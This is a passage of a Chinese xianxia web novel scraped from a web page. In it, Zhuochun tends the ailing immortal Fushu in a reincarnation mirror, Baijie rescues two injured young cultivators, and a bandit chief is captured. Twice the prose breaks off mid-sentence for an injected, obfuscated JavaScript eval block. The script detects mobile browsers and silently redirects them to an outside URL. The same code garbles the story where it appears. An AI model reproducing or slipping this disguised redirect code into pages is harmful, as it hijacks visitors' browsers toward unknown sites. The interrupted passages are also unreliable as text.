灼春调用了自己灵台的全部法力护着大扶疏，才稳定了她的灵魂，让其勉强活下去。但是灼春法力不高，根本护不了大扶疏一辈子——而且，就这种状态还历什么劫？能历什么劫？ 但是仙者一旦进了轮回镜，就等于摁下历劫的开始键，要么身死使历劫结束，要么灰飞烟灭神形俱无，否则无法停止…… 灼春在想是不是直接想个办法让大扶疏在轮回镜中“夭折”——啊不行……大扶疏现在太脆了，一“夭折”，道心说不定也会碎，太危险…… 头一次遇到这么危急的情况，灼春忍不住快要骂爹了。 小扶疏不就入个狱么？又没冤枉他，至于这样么？再说他俩又没啥关系，熟人而已，何至于搞成命运共同体这么炸裂啊！ 比起历劫，灼春觉得还是解开大扶疏的心结，让她活着出来比较要紧。 ——可是大扶疏在里头，她怎么知道她的心结是什么？她在想什么忧虑什么？ 唉……只能从大扶疏身边的人开始了解了…… 一般情况下，要从周遭的人口中调查某人的经历，灼春会选择找好多人，一个一个地询问，然而，大扶疏命悬一线，她得守在轮回镜外维持，走不开。 于是，她只能精简人数、抓住重心，挑一个最了解大扶疏的人打听—— 鸣桐！ 灼春立马用了一只求救的纸鹤，不消片刻，鸣桐就到了。 “怎么了怎么了？出什么事了？”鸣桐身形都没稳，进来就问。 “救命……” 灼春根本离不开轮回镜，只眼泪汪汪地看着她。 鸣桐在她和轮回镜之间来回看看，顿时心领神会，走过去接着灼春给轮回镜蓄法力。 她无奈：“这事儿你找百捷更靠谱吧？” 灼春被替下来松了口气，两只手跟大象耳朵似的呼啦呼啦给自己扇风：“误会了，不是这事！” 灼春快速跟她解释了一遍大扶疏的事，万分惆怅。 鸣桐听完点点头，可是脸上还有惑色：“既如此……那你不该找小扶疏吗？虽说他现在在服刑，但夏掌刑讲理，你若和她说明，她会同意暂时放小扶疏出来为你解答的。” “嗐，小扶疏不行！他只了解他知道的那部分大扶疏，而你就不同了！你！鸣桐！八卦界的唯一真神！就没有你不了解的！” “打断一下，”鸣桐难得严肃，指正她，“我不是八卦，是富有求知欲。而且也不要称我为八卦界的神，鄙人只是天地之间区区一个百晓生罢了。” 灼春：“……百晓生，那烦请说说大扶疏的事呗？” 鸣桐知道时间紧张，便着重挑了几个可能导致如此的事例论述，包括但不限于大扶疏的身世、人生追求的确定、在黑恶组织“天逆”的生活、成仙后厨神名号的远扬…… 灼春听来听去，越听越觉得关键在于小扶疏。 两个扶疏渊源颇深，情非泛泛，按常理推断，心结必定是小扶疏的入狱。 ——可这样要怎么给她解心结？告诉她小扶疏无罪释放了？嘶……可是大扶疏在轮回镜里开始了全新的人生也不记得现在的事了啊…… “那个……我以为，大扶疏的心结或许不在于小扶疏一人。” 见灼春捂着嘴拧眉苦思，鸣桐忍不住说出自己的了解。 以她多年的八卦——不，是学习经验——来看，大扶疏不是那种不明是非只因为亲近之人受罚便道心不稳的人，否则也不会在黑恶组织多年仍出淤泥而不染，并且突破自我飞升成仙。“小扶疏入狱”这件事影响太浅，不会是核心原因。 灼春虚心请教：“那核心原因是？” 鸣桐沉吟片刻，说：“或许……是她对自己产生了怀疑？” “啊？什么意思？” 鸣桐慢慢解释：“据我所知……大扶疏身边出现过许多修仙者，包括她从‘天逆’救下的孩子，但是，除了小扶疏，没有一人成功飞升，甚至，他们最终都因各种罪名被关进大牢。” 灼春有些头绪了：“所以……现在小扶疏也进了大牢，导致她开始怀疑自己是扫把星，觉得自己不吉利？” “嗯……方向是对的。”鸣桐说出自己的猜测，“我个人认为，小扶疏的现况让她回想起了过去身边人的下场，心急之下思想进入极端，觉得之前那些过伙伴之所以无法走正途，是因为自己没在他们身边做到位，没起到积极作用，产生了自我怀疑，认为自己不配当仙者……当然，这只是我个人看法，仅供参考。” 尽管鸣桐说了她的想法仅供参考，但是灼春越品越觉得有道理。 反正她也没其他更好的想法，就先按鸣桐说的为大扶疏解开心结试试吧！ 轮回镜本来有限制，一位历劫仙者只允许一位仙者司劫，但是灼春想要鸣桐留下帮忙看看大扶疏的状态，便放开权限，邀请鸣桐参与司劫。 ——不过她可没让人打白工！ 灼春在事前就和鸣桐说好，回头司劫兼职结束，掌舵准的假期分她一天！ 本来打算分三天的，但鸣桐极力推辞，最后灼春和她讨价还价才敲定了一天——鸣桐无法推托只好接受对方的美意。 很快灼春就庆幸找了鸣桐帮忙。 她为大扶疏调整好轮回镜模式，正感慨这次司劫工作量是另一个层面的大，林鸿手下的刘执司忽地找上门来。 灼春还纳闷他怎么来了，被对方一提醒之前林鸿传过讯息，一拍脑门想起来了，连连致歉。 “不好意思不好意思……收到消息后突然来了几件事，手忙脚乱我给忙忘了！” 刘执司摇摇头：“你还是当面和掌舵说吧。掌舵空等了几日，脸色说不上好。” 话外意思就是自求多福吧。 灼春内心哭唧唧。 她跟鸣桐叮嘱了几句，说只要看着灵盘自主运行不卡顿就可以，如果大扶疏有什么不稳，就先取消一切外力影响，再施法稳住魂魄，然后把时间流速调到最小，同时通知她，她收到消息立马回来。 灼春法力用尽，借着刘执司的法力飞到主殿。可是到了主殿，却意外地没对上林鸿的黑脸。 灼春小心觑她：“……？” 林鸿笑眯眯地为她斟茶：“灼春呐，因何无视我的召唤呢？” 灼春如芒刺背如坐针毡，当即发誓表忠心，表示自己绝非故意，实在是事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059374|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出有因。 “……俩小孩难得上进想去龟鉴岛闯一闯，我作为她们的大家长不可能泼她们冷水让她们等等吧？还有历劫，仙者渡劫是大事，我都准备好了轮回镜，让人家等等也不合适吧？大扶疏不是咱内部员工，万一怠慢，回头传出去别人还以为我们双标，对待会外仙者不友好呢……” 一开始还没事，但当灼春提到大扶疏到寂心期需要历劫，林鸿斟茶的动作一滞，搁下茶壶，皱眉。 林鸿：“扶疏也到寂心期了？不应该吧？我隐约记得灾潮之前她刚历过劫，还是小扶疏司的劫。以他俩的关系、小扶疏的性子，寂心期间隔不至于这么短啊？” “或许是大扶疏自己精神不好导致提前了吧！” 灼春摆摆手不以为意。 大扶疏如今陷入自我怀疑，恍惚到道心都不稳了，这种情况下提早进入寂心期有什么奇怪？ 灼春：“所以老大，我忘了来，确实是情有可原啊！别生我气了嗷！” “嗯，知道。” 林鸿出了口气，情绪软化，把茶盏推向她。 “叫你来是有件任务要交给你——” “啊！？又有任务！？老大你放过我吧！我真的很忙！你不知道，大扶疏可难搞了！她叽里咕噜叽咕叽咕叽——”灼春话出口一半，马上醒悟过来自发消音，“——唉，总之我真没空……老大，咱会里那么多人，你别老逮着我一个人薅羊毛啊！” “不要紧，这事不急。”林鸿笑笑，“等你忙完这阵，抽空做一下，很快的。” 林鸿眼神坚定，透露着不容置喙的意思，灼春便知道推脱不得，只能硬着头皮问是什么任务。 林鸿：“这是只有你才能完成的任务——” 嗯嗯嗯，好好好，别忽悠了，快点切入正题吧，她赶着回去替鸣桐呢。 林鸿：“你看，给仙者司劫的工作量确实不小，而且大有学问，光你一人太辛苦了……况且你日后也需要历劫，回头谁为你负责呢？总不能你为众人拾柴火，自己却冻毙于风雪中吧？” 灼春：嗯？老大的意思是？ “所以我在想，是不是该趁你现在尚未受风雪侵袭，抓紧培养一下你的司劫继任者？” 林鸿关注着灼春的脸色，怕她抵触——谁料对方激动得一拍腿，大声叫好，一副恨不能冲过来亲她两口的热忱模样。 “那感情好啊！你不知道我现在一个人干活忙得脚不沾地，兼任司劫后我灵台的法力就没满一半过！老大，你居然这么为我考虑我太感动了！” “……呵呵，你高兴就好。” “欸，那老大，你相中谁当我的继任者了？我给抓紧培养一下子！”灼春积极打听。 林鸿示意她别急。 “这次我打算‘全民皆兵’，对所有仙者展开司劫志愿者招募，不固定人数，只要有意向就能接受教学。” 灼春有些担忧：“那我……” “你呢，只要准备一套教案，回头我们给你找个大教室公开授课，不会占用你太多时间。” “好，我回去会尽快准备教案，准备好了立马和你说！”灼春连连点头。 她担心的就是来学的人有先有后，要把同一套内容重复跟不同的人说，没效率。既然老大这么妥帖地安排了教学，那她就没异议了！ 60.半截求救 当灼春说，林鸿要招募志愿者准备让其培养司劫的后继人才时，鸣桐笑而不语。 其实……相睦会的人，上到仙者下到来访者，没有不知道此事的。 早在数日前，林鸿就告知理事堂，发布了招募志愿者的告示，金钱殿那边承包了教学设施与场地的安排，早早就开始统计人数、应用技术…… 准确来说，灼春这个当事人反而是最后一个知情者。 “……如果人人都能来学习如何更好地司劫，那我就不用被单拎出来兼职了！情理所那里又有两个帮手，哎呀我的日子不要太巴适……” 看着灼春摩拳擦掌热血沸腾的样子，鸣桐心情有些复杂。 林鸿这次计划的言外之意，大家心领神会。就是吃了灼春的苦头，想师夷长技以制夷，学透之后光明正大“回馈”给她，一解心头苦闷。 这算是司马昭之心路人皆知，虽内里不够光彩，不过因为所有人都有这样的心思，故而批了层堂皇的假皮，便无人置喙。 再者说，从结果上来看，这的确是一件普遍提高大家司劫素质的好事。 鸣桐去金钱殿报名的时候，顺便让自家金丝鼠去瞥了一眼名单，距离招募发布才几刻钟，几乎所有仙者都榜上有名，她居然还算去得迟了。 所以……或许真如灼春梦想的那样，这次教学结束，人人都能高效司劫了…… 想是这么想，说出口的却是给灼春泼冷水的话。 鸣桐心虚地咳了咳，道：“你还是……不要抱太高的期待吧？司劫是吃力不讨好的苦差事，未必有人愿意来……” “还有这种情况啊！” 灼春遭当头棒喝，如梦方醒，马上碎碎念着“完咯完咯没人参加怎么办”来回转悠。忽然，她猛地拉住鸣桐，满怀期待地望着她，神情眼色和小动物一样招人可怜。 “……我不会参加的。” 鸣桐下意识否认，说完了才后悔自己嘴快，回头上课被发现自己言行不一怎么解释啊？ 正好灼春不死心，非拉拉扯扯地求鸣桐给她凑个人头，还让她帮忙多找点人过来上课。鸣桐见好就收，顺势答应，高兴得灼春一蹦三尺高，激动之下还说要把将来年终奖分她一成，鸣桐不敢得了便宜还卖乖，坚决拒绝了。 接下来，灼春拜托鸣桐看着正在解心结的大扶疏，而她则趁此机会抓紧看书学习，积累教学知识。 本来她想到藏书阁学习，但是换场地不方便工作，藏书阁又只准一次借一本，于是她便转向百捷借书，一次就借了十数本，足有半人高——看不看得完另说，总归要借到手了心里才踏实，有种自己是在拼命努力的精神安慰。 等大扶疏状况稳定，可以开始正式增加劫难，灼春的前期准备差不多也结束了——那些书自然都是囫囵吞枣地快速读完的。 鸣桐建议灼春可以放个水，大扶疏在轮回镜里待的时间够长了，让她直接跳过劫难结束也不打紧。 灼春在偷懒和工作间矛盾片刻，最终还是选择了自己的良心。 送走鸣桐，灼春就挑了个比较简单的灵盘置于镜中，让大扶疏慢慢体验各种劫数，而她就在附近正式开始写教案，偶尔看一眼大扶疏的进度，调整偏移的部分。 解开心结的大扶疏与普遍意义上的仙者近似，历劫的时候并没小扶疏、凤脊那些人那么刁钻，灼春手动调整的机会不多，基本上一个灵盘就能搞定。 灼春不由得感叹，如果所有仙者都像大扶疏一样那该多好！ ——前提是不要像大扶疏一样有心结！ 如果加上解心结的精力，那大扶疏的麻烦程度不下于小扶疏、凤脊之流。 “救……” 灼春挠着头憋教案时，一只残破的纸鹤晃晃悠悠地飞来，模糊的影像一闪而碎，只留下一个字的未完讯息。 灼春茫然：“救？” 她捡起报废的纸鹤，意外发现这是自己从吉吾那儿讨来的有特殊印记的那批纸鹤，她之前给了小麻和小程来着…… 救，救，救……救济？救急？救穷？救命？ 救命？ 救命！？ 灼春蹦起来四处找日历，在日历上指着日子数时间——小麻她们居然都走了□□日了！ 如果是顺利进岛，为了闯天劫而耽误时间，那她们肯定会传信告知她一声，但是她并没收到任何消息——这说明她们肯定遇上事了！ 是被水里的东西吞进肚子吃了？还是被欺软怕硬的岛中怪兽困在哪里了？ 灼春很想亲自赶过去，但她有自知之明。 为了稳定大扶疏，她的法力耗尽，这几日陆续攒了一点，不过用于对抗龟鉴岛的异兽和救人，就是杯水车薪了。 不消多想，灼春便做了决定——给百捷传音，请她替自己去救两个小朋友。 百捷没有二话，这边应下灼春，那边就去和战神请假走个过场。 “龙缨，我去龟鉴岛一趟，过两天回来。”百捷说。 斗武殿里，刚从理事堂拿了几份报告书的龙缨皱了眉：“……非去不可？” 百捷点头：“嗯呐。” “……早去早回，接下来可能要忙了，人手不一定够。” “啊？出啥事了？灾怪数量不是得到控制，现在几乎没了吗？” 龙缨长话短说：“近期出现不少修仙者失踪事件。” “哦……社会事件啊……”百捷奇怪，“那不是归慎刑殿管吗？咋？他们不干推给我们啊？” “……不。” 大概是龙缨觉得这事解释起来太麻烦，就让百捷先处理自己的事，具体细节日后再谈，现在只是告诉她有这么件事让她留个印象。 知会过自己的行踪，百捷便出发前往龟鉴岛了。 虽然不及小扶疏，但百捷的速度在仙者中也是数一数二的，不消半天她就上了岛。 原本岛内外有许多好欺负人的珍奇异兽，一有人来就冒头，哪怕是仙者，只要实力不够强劲，也少不了吃亏。不过百捷个人的力量本就首屈一指，再加上多年战场浸染出的血腥杀气……岛内外的生物嗅到气息就躲远了，害得百捷想抓个活物问问都找不到。 ……啧，早知道问问龙缨有什么寻人的方法了。 百捷在岛上绕来绕去没有头绪，最后久违地开动脑筋，掏出灼春给的纸鹤开始注入法力。 纸鹤得到收信者讯息后，吸足法力，晃晃翅膀，变化为一只小小的拟真信鹤，以迅雷不及掩耳之势往岛中湖方向冲。 百捷紧随其后。 没走两步，地面上突然出现一道陷阱，百捷始料未及一脚踩空，就在快落到陷阱底部的一地毒刺时，总算手脚并用抻住了洞壁。 百捷为难了。 爬上去……这个洞小得恰到好处，没处使劲。 用法术……那不是她擅长的方向，用哪个有效、怎么用……她想得没那么快。 掉下去……不至于死，但是恢复起来很慢，待会儿还得去救人，不合适。 尽管为难，但百捷也想通了一件事——龟鉴岛里肯定有邪恶分子，而且能力不差。 岛里凶禽猛兽多，要避开它们在这挖一个陷阱，不是绝顶高手根本做不到。哪怕是仙者……像灼春那样的就不行，这头刚挖一寸，那头调皮的生灵就填上一尺了。 “……你掉下去了？还好吗？” 洞口传来问话，百捷费力昂头，只看到一个逆光的轮廓，看着是个小姑娘。 百捷仰头回答：“我没事，就是上不来，还在思考方法。——你小心点，别像我一样踩着陷阱了，岛里有坏人呢。” “……你为什么不用法术自救呢？” “嗐，我不擅长那个！我喜欢直来直去用蛮力解决！但是……”百捷试着动了动手脚，仍然不能移动，“……这里似乎不用脑子不行。——所以啊小妹妹，身心要同步锻炼，不要和我一样偏科！” 说话间，从洞口飘下一艘小小的水帆船，绕过百捷身侧的空隙，抵在她身下。百捷骤感轻松，下一瞬就被水帆船慢慢顶出陷阱。水帆船完成任务后，哗的一下散开泼在地上，留下一地水痕。 刚逃离陷阱，百捷就看到信鹤被一个身形娇小的女孩捏住一侧翅膀。信鹤拼命扑腾想挣开那女孩，但对方却不依不饶，浅笑着松开又抓住，抓住又放飞。 附近没有其他人，百捷想，应该就是那女孩救的自己。 她见那女孩在逗弄自己的信鹤，暗自赞叹“后生可畏，这么小的娃娃居然就能闯龟鉴岛”的同时，扬声谢她帮忙，并请她放了信鹤。 “妹妹，谢谢你拉我上来，日 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“一、二……十、十五、二十……一百零二……不错嘛，能变幻出那么多支箭，练了很久很辛苦吧？”百捷数清数量后，衷心夸奖，“你的榜样是水神凌淮？哎呀不得了，居然还有小朋友记得水神大佬呢，了不起了不起！” 女孩但笑不语。 水箭百发齐射，箭箭擦着百捷的轮廓落地化水。 百捷点头称赞：“力道不错，有半仙风范了，就是准头差了点——哎，妹妹，我有急事不能陪你玩了，回见哈！” 百捷抓起信鹤想到空旷处放飞，但刚抬脚，地上水箭留下的水痕忽地卷起水旋风，将她罩在屏障内。她伸手试了试，居然没戳破。 哟，够上半仙的力量了，水结界挺牢固的，不专攻战斗的仙者估计能被困住半个时辰，如果是春那样悠闲的仙者，大概能被困好几天。 可是这么困住她有什么用？ 百捷单手握拳稍一用力锤击，牢固的水屏障便不堪一击地碎裂，复落地上积成一滩滩水洼。 她再次无奈重复自己要走了。 女孩想追她，可一不小心踩在水洼上，脚向前飞，身子后仰，惊愕失色地跌进后方湖水，砸出巨大的水花。 “救命！我不会水！……救！……” 百捷：“！？” 玩水的丫头居然不会游泳！？她怎么敢的啊！ 百捷把信鹤塞进口袋，一个猛子扎进水里救人。 她刚拉住对方的手，原本挣扎不停的小女孩忽地一反态势，倒过来钳住她的手腕。 百捷：“？” 附近平和的水流一刹那变得湍急，水往上游，重若千钧的水压瞬间覆盖在百捷身上，踩着她和女孩往深不见底的湖底黑暗处去。 百捷：“……太调皮了孩子。” 行了，人家会水，而且厉害着呢。 百捷悬着的心放了下来，双臂一扭，就掙开了对方钳制，视若无物地往水面上游。 不知道信鹤在水里会不会泡烂，抓点紧抓点紧…… “站住！” 百捷回头，想看看女孩还有什么惊喜等着她—— 噢，祭出了一个弯月样的灯盏法器。 唔……淡淡的五彩，闪闪发光，样子挺好看，但感觉……让人不太舒服。 百捷：“妹妹，我真的有事，不能陪你玩，乖，别闹了嗷！” 灯盏法器越来越亮，四周的水流都被牵引不再流动，百捷感觉越来越不舒服，有种窒息感。 啧……看来这小丫头有点任性，不打算放自己走了。 百捷叹了口气——女孩见她叹气，笑出声来——结果下一秒，就连人带法器被百捷收进乾坤袋里。被收进去前，女孩脸上的笑终于消失，露出一瞬间的错愕。 唉，自己的确不擅长用技巧型法术，但不代表她完全不会啊——可以用于制敌的法术她玩得相当溜！ 百捷拍拍乾坤袋：“等我办完事就放你出来，别闹噢。” 她随手拍碎水屏障，放飞信鹤，跟着它走。 还好来之前灼春说了小麻小程的收信代码，否则她就得一寸一寸摸过去了。 61.险遭不测 扶疏性情平和，从轮回镜出来情况良好，甚至和颜悦色地对灼春表示感谢。 第一次遇见这种平和的场景灼春怪不适应的，诧异问：“难道你不想打我吗？” “为什么打你？”扶疏被问懵，略一思考就明白她的意思，“噢噢……你指镜中的劫数？唔……是苦了点，不过跟修仙之路比起来尚在承受范围内……” 扶疏话锋一转，对灼春为自己调整心态再次表示感谢。灼春难得谦虚起来，说自己只是为了完成工作才做的，分内之事不必客气。 “司劫才是不必自谦！我还不清楚自己的状况吗？虽然我之前精神不太好，但我很明白当时自己已是强弩之末，随时都有可能……但是到轮回镜里走了一遭，现在体魄凝实，心明眼亮，比飞升之时还畅快！” 扶疏毫不吝啬地极尽赞扬，将灼春捧得天上有地下无的。在飘飘然中，灼春算明白凤脊为什么只怕这个了。 别人真心实意地觉得你什么都好，这时不管你如何推辞，都只是“谦逊”，只会增长他人的欣赏。此种情况下，为了达到别人的期待，纵是上刀山下火海，眉毛也不能皱一下！ “……如果当初我们卡关时也能有这样的奇遇，说不定飞升就没那么难了……” 灼春回过劲儿来，好奇问她受到什么刺激了，才会让自己动摇成那样。扶疏没什么可隐瞒的，便开口要说—— “嗖！” 一只信鹤给灼春带来了百捷的影像。 “——喂，春，你家的两个小朋友我给带回来了，情况挺不好的，我给抱到妙回堂了，掌舵看着呢。” 扶疏见状自觉地告辞，让灼春有空到多味楼找她，她必设宴相迎。 灼春送走她后与影像对话。 “她们怎么去那儿了？难道受伤了？” “唔……不好说……掌舵正检查呢，到底什么情况也不知道。” “什么什么不知道？小麻说不清，小程伶牙俐齿的还说不清吗？”灼春不理解。 “没法说嘛！两个人都昏迷了，到现在还没醒呢……” “嘛玩意！？” 灼春冲到妙回堂，林鸿正神色凝重地为昏迷的两人检查并修复身体。 麻惠良看着精神不好，即使昏迷着也在不停发抖；程冰津的情况比她更差，面无血色，连生命体征都很微弱。 灼春克制不住脾气：“哪个混蛋干的！？” 林鸿皱着眉嘘声，把在一边抱臂沉默的百捷踢出来回答。 百捷揉揉被踹的屁股，说道：“不知道。我找到她们的时候就只有她们两个，那时候小麻抱着昏迷的程冰津还有一点意识，让我赶紧救她们离开我就救了，其他的……你还是等她们醒了问她们吧。” “……” 灼春蹲到病床边，看着昏迷的俩人，眼疼心疼。 “老大，她俩怎么样了？是被什么弄伤的？” “麻惠良还行，就是皮肉伤加受惊；程冰津不大好，初步判断，法力全失，灵台粉碎，而伤口……原因不明。”林鸿收了法力，叹息。 灼春一愣：“灵台粉碎？” 粉碎的意思是…… 林鸿：“灵台被连根拔起、荡然无存，她体内再没有储存法力的地方，通俗点讲，程冰津现在就是一个没有法力的凡人，再也不能修仙了。” “怎么会……她才几岁啊，活都没活明白呢，怎么会受这么严重的伤害？她怎么受得住？”灼春不敢相信，但转念一想又觉得庆幸，“只是灵台破碎……倒也不算糟糕。性命无虞吧？” 林鸿点头默认，施术完开始整理治疗的器具。 一旁的百捷左右看看二人平静的反应，拧起眉头不解问：“你们的反应不正常吧？小程可是灵台破碎了耶？以后再也没法修习法术了诶？对一般人而言都是难以承受的痛苦的吧？更何况她还是修炼到一定程度的修仙者，说不定她醒来后会受不了，宁可自己死了呢？” 灼春鄙夷地斜她一眼：“别小瞧人好嘛？小程从小无父无母，是吃百家饭艰难长大的，什么困难险峻没碰到过？怎么会因为这点小事活不下去？” 闻言，百捷皱起脸摇摇头，一副受不了对方冷漠没心肝的模样，转而请林鸿务必救治程冰津，至少要留下一线希望。 “我理解你的心情，但是事实如此。”林鸿低头轻轻抚摸两个昏迷中小朋友的脑袋，“我已经请鸣桐过来研究伤口，一定会为她们讨回公道。” 灼春问：“看不出是什么东西造成的伤害吗？不是龟鉴岛的飞禽走兽？” 林鸿思索：“气息像是灾怪，但是留下的痕迹与灾怪有过的记录截然不同。” 灼春诧异：“灾怪能对仙者以外的人造成实质性伤害？” 林鸿摇头表示不知：“所以这也是我不敢确认的原因。鸣桐见多识广又熟识生灵，若真是龟鉴岛的禽兽导致，她应该会知晓。” 鸣桐很快赶到，端详程麻二人的伤口后，首先排除现有生灵的可能性。 鸣桐拭去自己眼角的泪，说道：“据我所知，现存生灵没有能造成如此创伤的。我的判断与掌舵一致，这更像是灾怪所致，唯一的矛盾点就是，就现有资料看，灾怪不可能对仙者以外的人直接造成实质性伤害。” 施害者如何先按下不表，林鸿和鸣桐很快制定了治疗方案，有条不紊地为程麻二人治疗。尽管有些伤害不可逆，但能治好的伤她们仍会尽力。 麻惠良的伤口浅，就交给鸣桐负责治疗；程冰津的伤势复杂且严重，则由林鸿力挽狂澜。 在鸣桐的仔细照料下，麻惠良终于悠悠转醒。 她睁眼看见陌生的景象下意识瑟缩，直到灼春鸣桐这俩熟人出现安抚，才安静下来。 待麻惠良平复情绪，众人才知道到底发生了什么。林鸿听了没两句，便传信让夏掌刑和战神过来一块听。 如灼春所言，麻惠良和程冰津想到龟鉴岛试试能力。但是她们到了岛外，只有程冰津一人成功闯进岛，麻惠良则被挡在岛外。 本来麻惠良想先回去，但是岛内的程冰津传了信，让她在原地等等自己，称此次并不预备闯三关，等她大致看看岛内情况便出去。 然而麻惠良左等右等就是不见程冰津的踪影，也没收到消息，就想传信问问。可纸鹤飞进岛内，不久后捏着纸鹤出来的却是另一个陌生面貌的人。 纸鹤不会认错，麻惠良还以为是程冰津在岛内有了什么奇遇才变幻了容貌。还没开口核实，对方就笑了，说什么“也是个修仙者，凑合能用”之后，便把她抓进了龟鉴岛。 麻惠良发现两人实力悬殊，自己毫无反抗之力后，就明白硬拼没用，需保存力量静候时机。 那人把她抓进岛就扔进了一处潭底牢笼，在那里，她见到了力尽神危的程冰津。 接着她才知道，程冰津进岛后不久就被那人抓住，那人不知用了什么法器，把她的法力抽尽，还夺走了半片灵台。现在麻惠良被抓，未来处境应当一样。 麻惠良又惊又怕，立刻寻找机会放出求救的纸鹤。 但是捉她们的那人十分警惕，第一次放飞就被发现，那人还撕坏了她们的纸鹤。 后来麻惠良尝试着将纸鹤重新拼接，发现残破的纸鹤还能动，便又想方设法避开那人的视线送出去，就是不知道纸鹤能不能逃离这里。 灼春点头：“原来我收到的那只纸鹤是这么坏的！” 因为麻惠良她们不知道破损的纸鹤能不能送达信息，所以就打算精打细算地用掉程冰津那儿的最后一只纸鹤。 首先，要给纸鹤灌输绰绰有余的法力。 但，程冰津被清空法力后又只剩下半片灵台，法力积蓄不易，所以灌输法力这个任务就压在了麻惠良身上。 不幸的是，按照经验，那个绑匪很快就要来抢夺麻惠良的法力和灵台。 为了求救讯息能顺利传送，程冰津不顾自身安危，亲手剥离自己最后的半片灵台，伪装成麻惠良的，借此瞒过绑匪的眼睛。以程冰津的牺牲为代价，麻惠良成功放出了完整的纸鹤。 “嗯？可是我没有收到第二次讯息啊？”灼春疑惑。 麻惠良：“小程说，不能把鸡蛋放在一个篮子里，我们就没有再给你传信。” 夏至凛：“可慎刑殿也没有收到报案。” 龙缨：“斗武殿同。” 林鸿和鸣桐也表示没有收到讯息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068262|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻惠良轻声：“我不记得别人的收信码，所以就按照小程记得的，发给了……” 突然响起几声咳嗽，病床上的程冰津眼睛还睁不开，就强撑起精神说道：“绑匪比、比我们想得狡猾……说、说不定早就拦、拦截了……” 林鸿鸣桐不约而同地转向她，为她输气调息，让她好好歇着不必逞强。不过程冰津都没听完她们的劝说就又昏了过去。 夏至凛敛眸：“……细枝末节先放一放，你先描述一下嫌疑犯的外貌特征，慎刑殿好尽快安排通缉。” 她很怀疑这个人与近期的修仙者失踪案件有关联，说不定就是……不论如何必须严肃处理。 麻惠良努力回忆着：“那人……看着人畜无害，总是挂着笑，很亲切……就算伤害人也是笑眯眯的，很恐怖……啊，她个子矮，外表像是没长大的小女孩！还有衣着的话……土红色？灰绿色？有点混乱……” “……啊。” 百捷突然出声，吓了大家一跳。 灼春嗔怪看她：“你干嘛！别一惊一乍的，小麻好不容易镇定下来，你少把人家又吓晕了！” “不是……我只是突然想到，我进龟鉴岛的时候碰着一个符合描述的人了……” 本来正在记录麻惠良叙述的夏至凛，猛地闪现到百捷身侧，连珠炮一般逼问“龟鉴岛哪块区域碰见的”“有没有对话有没有交手”“对方实力如何”“有什么需要补充的形态特征”“能不能推断出是哪里的人”等具体细节。 百捷头大，退开几步拉开距离：“这我哪说得清！你自己判断吧！” 说着，她掏出自己腰侧的乾坤袋，打开系带捏着袋脚往地上一抖，一个光球触地而长，逐渐展现出人的模样。诸人审视着，越看越觉得与麻惠良的描述相符。 麻惠良惶恐：“就是她！就是她！” 灼春激动地捶百捷：“姐妹干得漂亮啊！居然把嫌疑犯直接绑回来了！” 林鸿也赞叹她终于懂得用脑了，知道把鬼鬼祟祟的家伙纳入掌控。 “呃……”百捷不知该不该应。 怎么说呢……这只是个意外…… “小心！是‘天逆’的匪首无俦！”鸣桐甫一看清那人就伸臂护住身后的程麻二人，疾声提醒诸人。 百捷当即重开乾坤袋，但她晚了一步，夏至凛已抢先将人捆缚扣在掌下。 夏至凛死死盯着掌下逃犯：“不好意思，前段时间暴狱，她八成就是那时候金蝉脱壳的。” 林鸿蹩眉：“夏、掌、刑？” 眼见人被控制，灼春撸起袖子上去，一边破口大骂“混蛋”“畜生”，一边大开大合施以拳脚。 被捆缚住口不能言的匪首只能哼哼唧唧地躲避，但因为自身法力仍在，所以给自己加了个反弹咒，不管灼春怎么打她，那些痛最终都会落在灼春身上。 龙缨默默地控住匪首，不动声色地打破反弹咒，并且压制其法力；在另一侧摁着匪首的夏至凛，语气平淡地说着“别打了别打了犯人也有人权交给法律制裁吧”，同时状似无意地往人体最脆弱的几处捅咕两下。 过了一会儿，林鸿终于出声制止，让百捷拉开灼春。 林鸿：“夏掌刑说得对，让法律制裁罪人，不要动用私刑。” 灼春气：“这畜生绑架、害人，坏事做尽死有余辜！但律法里早就废除死刑了，她能受到什么制裁！？不行我咽不下这口气！我就是拼着自己不当仙者也要这家伙死！！” 灼春被百捷拦腰搂住，在半空中面目狰狞张牙舞爪，就是冲不出去，所以实际攻击力为零。 “正因如此，夏某在此申请修改殿法，增加刑罚种类，恢复死刑。” 夏至凛顺势变出一份纸页有些泛黄的“慎刑殿万合天宜百姓通用法修订疏议”呈给林鸿。 “……” 林鸿接过疏议大致翻了翻，眼角一抽。 这小子，估计准备好久，就等这一刻了吧。 “这不急。——夏掌刑，先解释解释，为什么只关了一个人的地牢底层会发生暴动，为什么在地牢底层待着的犯人会出现在外面，为什么这件事我到现在还没收到报告。” “……” 62.别开生面 “……有问题不解决，专会解决发现问题的人。” 灼春撅嘴，踢了一脚路边的石子。 林鸿称她们会按部就班地认真处理后，就把其余不相干的人清场——主要是她。 灼春被赶走，满心不忿。 她暗下决心，一定要每天催办案进度，老大要是不给她一个满意的处理结果她还就真不干活了！ 一连数日，灼春跑了主殿跑慎刑殿，跑了慎刑殿跑妙回堂，被妙回堂赶走后，又去理事堂骚扰…… 